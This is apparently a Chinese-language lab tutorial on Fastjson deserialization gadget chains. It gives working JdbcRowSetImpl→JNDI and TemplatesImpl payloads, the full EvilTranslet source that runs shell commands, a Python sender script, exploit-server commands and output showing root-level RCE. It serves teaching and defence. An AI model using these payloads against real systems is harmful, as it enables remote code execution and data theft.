引子:放行之后,攻击者到底点了什么"火"
02 篇讲的是"能不能加载指定的类"。但"能加载"只是第一步------真正让攻击成立的是:某个类在被反序列化(被实例化、被设置属性)的过程中,会顺带做出危险动作。 这类"能被外部摆弄出危险行为"的普通类,安全圈叫 gadget(利用链组件)。
它有点像"合法的家用化学品":单独放都无害,但被按特定顺序、特定用量组合起来,就能炸。Fastjson 的可怕之处在于,它把"选择化学品、并按顺序混合"的权限,交给了外部输入。
本篇挑两条最有代表性、也最能帮助建立直觉的链:
-
JdbcRowSetImpl→ JNDI → RCE:需要受害者能出网访问攻击者的 LDAP/HTTP 服务,是现实中"打外网、打能出网的机器"的首选; -
TemplatesImpl→ 定义并执行字节码 :不依赖任何网络,直接在受害者 JVM 里defineClass,是内网、不出网场景的代表。
理解这两条链,就能看懂 Fastjson、Log4j2 乃至几乎所有 Java 反序列化漏洞共享的"公共出口"------JNDI,以及"数据被当代码"这一通用母题。真实攻防中,攻击者往往先试 JNDI 类链(省事、能外带数据),打不动再退回本地执行链。
本篇要点:
-
什么叫 gadget?为什么"普通类"能变成"武器"?
-
JdbcRowSetImpl的哪个 setter 会触发 JNDI 查询?完整因果是什么? -
TemplatesImpl为什么能用一段 Base64 字节码执行命令?SupportNonPublicField起什么作用? -
为什么 payload 报错
set property error时,RCE 其实已经发生了?怎么确认? -
两条链在"是否需要出网"上的差异,对实战意味着什么?
一、先补一块必读前置:JNDI / RMI / LDAP 白话
JdbcRowSetImpl 链会用到 JNDI,所以先把这块讲清楚,不然后面只剩背 payload。
JNDI(Java Naming and Directory Interface):Java 的"统一查号台 / 通讯录"。程序拿着一个名字去服务里查,得到对应的对象或资源。常见前缀:
-
ldap://host:port/name:到 LDAP 目录服务里查; -
rmi://host:port/name:到 RMI 注册中心查; -
java:comp/env/...:查本进程内的资源。
一旦某个 Java 代码允许由外部输入决定 JNDI 的查询地址,攻击者就能把自己的服务器填进去。查询过程大致是:
受害者程序 --(1) lookup("ldap://攻击者:1389/Exploit")--> 攻击者的 LDAP 服务
受害者程序 <--(2) 返回一个"引用"(Reference),里面写着"类从 http://攻击者:8888/ 下载"-- 攻击者
受害者程序 --(3) 去 http://攻击者:8888/Exploit.class 下载并加载类--> 攻击者的 HTTP 服务
(类被加载时执行 -> RCE)
Java 说明:
-
InitialContext:JNDI 的入口类,new InitialContext()创建查询上下文。 -
lookup(String name):按名字查对象的实例方法,名字前缀决定协议(ldap://、rmi://等)。参数可控时即产生 JNDI 注入。 -
Reference:LDAP/RMI 服务返回的"引用",可声明javaCodebase(去哪个地址下载类)、javaFactory(用哪个类当工厂)。 -
ObjectFactory:一个接口,其getObjectInstance(...)负责把引用还原成对象;远程类被加载/实例化时会执行其静态代码块,从而 RCE。
这里有个现代必须先知道的事实 :JDK 从 8u191 / 11.0.1 起,JNDI 远程加载 class 默认关闭 (com.sun.jndi.ldap.object.trustURLCodebase=false)。也就是说,默认情况下第 (3) 步会被拦。只有显式把它打开(误配置),远程类加载才会发生。 本靶场同时提供 JDK8 与 JDK17,下面会实测这个边界。
具体 JNDI 的完整攻防(RMI/LDAP 协议细节、本地工厂 gadget 等)会在 Log4j2 系列里继续展开,这里先够用。
二、链 A:JdbcRowSetImpl → JNDI → RCE
1. 这个类是干嘛的
com.sun.rowset.JdbcRowSetImpl 是 JDK 自带的、实现 RowSet 接口的类,用来把 JDBC 结果集包装成一个"可滚动、可监听"的对象。它本身不是攻击工具。
2. 为什么它危险:setAutoCommit 会触发连接
JdbcRowSetImpl 内部保存了一个数据源名 dataSourceName。当给它设置 autoCommit 属性时,它会先确保建立连接,而建立连接的代码会做 JNDI 查询:
// 简化后的逻辑
public void setAutoCommit(boolean autoCommit) throws SQLException {
if (conn != null) { ... }
else {
// 没连接就先连
connect(); // <-- 这里
}
...
}
private void connect() throws SQLException {
// 如果 dataSourceName 以 java: 开头走 JNDI;
// 否则把 dataSourceName 交给 InitialContext.lookup(...)
InitialContext ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(getDataSourceName()); // <-- JNDI 查询
...
}
逐词拆解(方法声明与调用):
-
public void setAutoCommit(boolean autoCommit):声明一个方法。public=外部可调用;void=无返回值;括号内是参数,boolean autoCommit=一个布尔型参数。 -
throws SQLException:声明"该方法可能抛出SQLException异常"。 -
conn:类里的一个字段,保存数据库连接;conn != null表示"已有连接"。 -
connect():调用本类的另一个方法。 -
private void connect():private=只能本类内部调用。 -
InitialContext ctx = new InitialContext();:new创建 JNDI 上下文对象,赋给变量ctx。 -
ctx.lookup(getDataSourceName()):调用ctx的lookup方法,参数是getDataSourceName()(读取dataSourceName字段的方法)的返回值。 -
(DataSource) ...:强制类型转换 ,把 lookup 结果当作DataSource使用。 -
Fastjson 读到
"autoCommit": true就会调用这个 setter,从而触发上面整条链。
Java 说明:
-
setAutoCommit(boolean)是一个 setter :Fastjson 解析到"autoCommit": true时会调用它。 -
该 setter 内部先执行
connect();connect()通过new InitialContext().lookup(getDataSourceName())发起 JNDI 查询------危险动作藏在 setter 里。 -
getDataSourceName()是读取dataSourceName字段的 getter。 -
(DataSource) ctx.lookup(...)是强制类型转换 ,把查询结果当作DataSource使用(类型不符就会抛ClassCastException)。
关键点:dataSourceName 是能从 JSON 里设置的属性,autoCommit 也是。 于是:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local",
"autoCommit": true
}
Fastjson 反序列化时:
-
@type放行 → 实例化JdbcRowSetImpl; -
设置
dataSourceName→ 把攻击者的 LDAP 地址写进去; -
设置
autoCommit=true→ 触发connect()→InitialContext.lookup("ldap://攻击者/...")→ JNDI 注入。
这就是"反序列化 → JNDI → RCE"的完整因果。
3. 靶场实测
ssh root@192.168.143.156 # 登录实验机
cd /opt/jndi-server && ./start.sh 192.168.143.156 # 启动 LDAP(1389)+HTTP(8888) 利用服务
cd /opt/fastjson-lab && ./start.sh 1.2.24 8 # 启动脆弱版本 1.2.24(JDK8)
B=http://127.0.0.1:8080 # 靶场本地地址
: > /opt/jndi-server/callbacks.log; rm -f /tmp/fastjson-pwned.txt # 清空上一轮回调与落地文件,便于观察本次
curl -s -G "$B/parse" --data-urlencode \ # 向 /parse 发送 JdbcRowSetImpl → JNDI 链
'data={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}'
不依赖脚本的手动等价操作:
# 启动 JNDI 服务(手动)
cd /opt/jndi-server
mvn -q -B package && javac --release 8 -d payload payload/Exploit.java # 首次
nohup java -jar target/jndi-server.jar --host 192.168.143.156 \
--ldap-port 1389 --http-port 8888 --class payload/Exploit.class --classname Exploit \
> jndi-server.log 2>&1 &
# 启动 1.2.24 靶场(手动)
cd /opt/fastjson-lab
/opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-Dlab.cmd="id > /tmp/fastjson-pwned.txt 2>&1; cat /flag-fastjson >> /tmp/fastjson-pwned.txt 2>&1; echo FASTJSON-JNDI-RCE-OK >> /tmp/fastjson-pwned.txt" \
-cp "target/fastjson-lab.jar:lib/fastjson-1.2.24.jar" \
com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 &
真实返回:
ERROR: com.alibaba.fastjson.JSONException: set property error, autoCommit
别被这个报错吓到。 报错发生在"设置 autoCommit 之后":JNDI 查询已经完成、类已经被加载执行,只是随后这行"当成真 JDBC 连接用"的逻辑抛了异常。RCE 已经发生,看证据:
cat /tmp/fastjson-pwned.txt # 查看远程类执行命令后的落地结果
# uid=0(root) gid=0(root) groups=0(root)
# nginx
# flag{fastjson_autotype_rce_2026}
# FASTJSON-JNDI-RCE-OK
tail -1 /opt/jndi-server/callbacks.log # 查看 JNDI 服务侧回调,确认受害者来下载了恶意类
# 2026-09-29 14:40:11 192.168.143.156 GET /Exploit.class UA=Java/1.8.0_504 <== 类被远程加载!
回调日志证明:受害者真的去攻击者的 HTTP 服务下载了 Exploit.class 并加载执行。
本链验证结果:
| 版本 | JDK | 端点 | 结果 |
|---|---|---|---|
| 1.2.24 | 8 | /parse |
RCE(JNDI 回调 + /tmp/fastjson-pwned.txt 含 flag) |
4. 现代 JDK 的信任边界(必看)
同样的 payload,在不同 JDK 和不同配置下结果不同。靶场实测:
| JDK | trustURLCodebase |
结果 |
|---|---|---|
| JDK8 | 默认(false) |
被拦截 |
| JDK8 | 开启(true) |
远程类加载 + 执行 |
| JDK17 | 默认(false) |
被拦截 |
| JDK17 | 开启(true) |
远程类加载 + 执行 |
结论 :默认配置下,现代 JDK 已经把这个 JNDI 远程类加载入口关掉了;但只要有人为了"兼容老业务"加上 -Dcom.sun.jndi.ldap.object.trustURLCodebase=true,风险立刻回来。这也解释了为什么"升级 JDK 能缓解",但不是根治------根治仍然是不让 autoType 加载任意类。
三、链 B:TemplatesImpl → 定义并执行字节码(不依赖网络)
JdbcRowSetImpl 需要受害机能连到攻击者的 LDAP/HTTP 服务。有没有不需要任何网络依赖 的链?有,TemplatesImpl 就是代表。
1. 这个类为什么危险
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是 Xalan XSLT 引擎里的类,用于编译/管理 XSLT 模板。它的特殊之处在于:
-
它有一个私有字段
_bytecodes(byte[][]),存放"编译后的模板类字节码"; -
当调用它的
getOutputProperties()时,会触发内部newTransformer(),进而对_bytecodesdefineClass(定义类)并实例化。
Java 说明:
-
_bytecodes是byte[][](二维字节数组),存放要加载的类的字节码。 -
getOutputProperties()是一个 getter ;调用它会间接触发newTransformer()。 -
newTransformer()内部对_bytecodes执行defineClass(...),把字节码定义成 JVM 里的新类并实例化。 -
AbstractTranslet:TemplatesImpl 要求的父类,恶意类必须extends AbstractTranslet才会被接受;transform(...)是它要求实现的空方法。 -
static { ... }是静态代码块,类被加载时执行一次;因此把命令写在这里,类一加载就触发。 -
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c", ...}):启动外部进程执行命令(-c后面是一整条命令串)。 -
Base64:把二进制字节码编码成纯文本,才能塞进 JSON 字符串。
也就是说:只要能把一段恶意字节码塞进 _bytecodes,并促使 getOutputProperties() 被调用,这段字节码就会被 JVM 加载执行。
2. 恶意字节码长什么样
TemplatesImpl 期望的字节码必须继承 AbstractTranslet。下面是一个恶意子类,在静态代码块里执行命令(编译好的 class 会被 Base64 塞进 JSON):
// EvilTranslet.java,用 JDK8 的 javac 编译
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"id > /tmp/tpl-pwned.txt; cat /flag-fastjson >> /tmp/tpl-pwned.txt; echo TEMPLATESIMPL-RCE-OK >> /tmp/tpl-pwned.txt"});
} catch (Throwable ignored) {}
}
public EvilTranslet() { super(); }
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
逐词拆解:
-
import ...:引入其他包的类,本文件后面才能直接用其类名。 -
public class EvilTranslet extends AbstractTranslet:定义一个类;extends=继承AbstractTranslet(TemplatesImpl 要求的父类)。 -
static { ... }:静态代码块,类被加载时执行一次;命令就写在这里。 -
try { ... } catch (Throwable ignored) {}:异常处理;try内出错由catch接住(这里选择忽略),避免中断。 -
Runtime.getRuntime().exec(...):Runtime.getRuntime()取得运行环境对象,exec(...)启动外部进程。 -
new String[]{"/bin/bash","-c","..."}:创建一个字符串数组 作为命令参数,等价于命令行执行bash -c "整条命令"。 -
public EvilTranslet() { super(); }:构造器 (与类同名、无返回类型);super()调用父类构造器。 -
public void transform(...):父类要求实现的方法,这里留空(攻击不需要它做事)。
3. payload 为什么长这样
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["<EvilTranslet.class 的 Base64>"],
"_name": "a",
"_tfactory": {},
"_outputProperties": {}
}
逐段解释:
-
_bytecodes:私有字段,所以要 Fastjson 开启Feature.SupportNonPublicField才能写进去(这就是靶场/parse-nonpublic、/parse-full端点的意义); -
_name、_tfactory:TemplatesImpl内部逻辑需要它们非空; -
_outputProperties:Fastjson 处理到这个属性时,会去寻找对应的 getter,从而触发getOutputProperties()------RCE 就在这里发生。
Java 说明: Feature.SupportNonPublicField 是 Fastjson 的一个特性开关 ,传给 parseObject 后允许把值写进 private 字段(默认不允许,以尊重封装)。TemplatesImpl 的 _bytecodes 是私有字段,因此必须打开它。SupportNonPublicField 打开后,可利用面会显著扩大。
4. 靶场实测
cd /opt/fastjson-lab # 进入靶场
./stop.sh; ./start.sh 1.2.24 8 # 结束旧进程并重启到 1.2.24(JDK8)
# 生成并 Base64 恶意 class(靶场已放好源码与编译命令)
cd payload && /opt/jdk8/bin/javac EvilTranslet.java # 用 JDK8 的 javac 编译恶意 translet
# 构造并发送 payload
cd .. # 回到靶场目录
python3 - <<'PY' # 运行内联 Python:读 class → Base64 → 拼 payload → 发请求
import base64, urllib.parse, urllib.request # 标准库:编码与 HTTP 请求
b64 = base64.b64encode(open('payload/EvilTranslet.class','rb').read()).decode() # 读取编译好的 class 并做 Base64
payload = ('{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",'
'"_bytecodes":["%s"],"_name":"a","_tfactory":{},"_outputProperties":{}}' % b64) # 拼出 TemplatesImpl payload
url = 'http://127.0.0.1:8080/parse-nonpublic?' + urllib.parse.urlencode({'data':payload}) # 目标端点 /parse-nonpublic
print(urllib.request.urlopen(url, timeout=5).read().decode()) # 发送请求并打印返回
PY
不依赖脚本的手动等价操作:
pkill -f 'com.lab.fastjson.FastjsonLab'; sleep 1 # 停掉旧实例
cd /opt/fastjson-lab
/opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp "target/fastjson-lab.jar:lib/fastjson-1.2.24.jar" \
com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 & # 启动 1.2.24
cd payload && /opt/jdk8/bin/javac EvilTranslet.java # 用 JDK8 编译恶意 translet
# 之后按下面的 Python 片段做 Base64 并发送(不再依赖任何脚本)
实测返回与证据:
ERROR: com.alibaba.fastjson.JSONException: set property error, outputProperties
$ cat /tmp/tpl-pwned.txt
uid=0(root) gid=0(root) groups=0(root)
nginx
flag{fastjson_autotype_rce_2026}
TEMPLATESIMPL-RCE-OK
注意这条链不需要 JNDI、不需要外网、不需要加载远程类 ,是纯粹的"反序列化 → defineClass → 执行"。所以即便把 JNDI 关了、JDK 升到最新,只要 autoType 还能加载 TemplatesImpl,它依然可能打穿。
本链验证结果:
| 版本 | JDK | 端点 | 结果 |
|---|---|---|---|
| 1.2.24 | 8 | /parse-nonpublic(SupportNonPublicField) |
RCE(/tmp/tpl-pwned.txt 含 flag) |
四、两条链怎么选
| 链 | 依赖 | 触发条件 | 现代受阻情况 |
|---|---|---|---|
JdbcRowSetImpl → JNDI |
受害机能访问攻击者 LDAP/HTTP | setAutoCommit 触发 lookup |
JNDI 远程类加载默认关闭;出网受限时打不通 |
TemplatesImpl |
无需网络 | SupportNonPublicField + 触发 getter |
JDK17 强封装下需额外 --add-opens;仍是高危链 |
现实进攻里通常首选 JNDI 类链(省事、可外带数据),内网不出网时才考虑
TemplatesImpl这类"本地执行"链。这也是 Log4j2 与 Fastjson 都会用到 JNDI 的原因------JNDI 是很多 Java 反序列化漏洞的公共出口。
五、自测题
-
用因果链描述
JdbcRowSetImplpayload 是怎么一步步变成命令执行的(从@type到lookup)。 -
为什么 payload 执行成功,返回值却是
set property error, autoCommit?如何确认 RCE 真的发生了? -
TemplatesImpl链为什么需要Feature.SupportNonPublicField?_outputProperties起什么作用? -
为什么"升级 JDK"只能缓解 JNDI 类链,却不能根治 Fastjson 漏洞?
-
两条链在"是否需要出网"上的区别,对真实攻防意味着什么?